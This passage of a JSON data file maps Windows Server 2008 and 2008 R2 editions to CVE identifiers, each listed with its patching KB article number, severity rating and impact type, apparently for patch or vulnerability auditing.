Execution"},{"cve":"CVE-2014-0295","kb":"2901126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6130","kb":"3108670","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108371","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126587","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192391","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197867","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197867","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015549","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041681","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054518","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022719","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025341","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038777","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093118","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-1038","kb":"4100480","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8120","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103718","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462923","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467107","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499164","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493472","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530734","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534310","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537820","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540688","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550964","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571729","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571729","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601347","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003233","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003233","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003667","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005088","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005633","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006743","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014748","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029296","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025279","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026413","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028240","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041838","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043129","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053620","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053620","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053620","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055561","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058430","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060996","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47981","kb":"5062632","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063947","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063947","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2506212","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518869","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6130","kb":"3108670","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3155413","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192391","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3197867","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015549","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041681","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054518","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022719","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025341","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038777","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093118","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-1038","kb":"4100480","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8120","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103718","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462923","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467107","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499164","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493472","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530734","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534310","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537820","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540688","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550964","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571729","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571729","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601347","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003233","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003233","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003667","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005088","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005633","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006743","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014748","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029296","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025279","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026413","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028240","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041838","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043129","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053620","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053620","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053620","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055561","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058430","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060996","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47981","kb":"5062632","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063947","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063947","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 for 32-bit Systems":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code 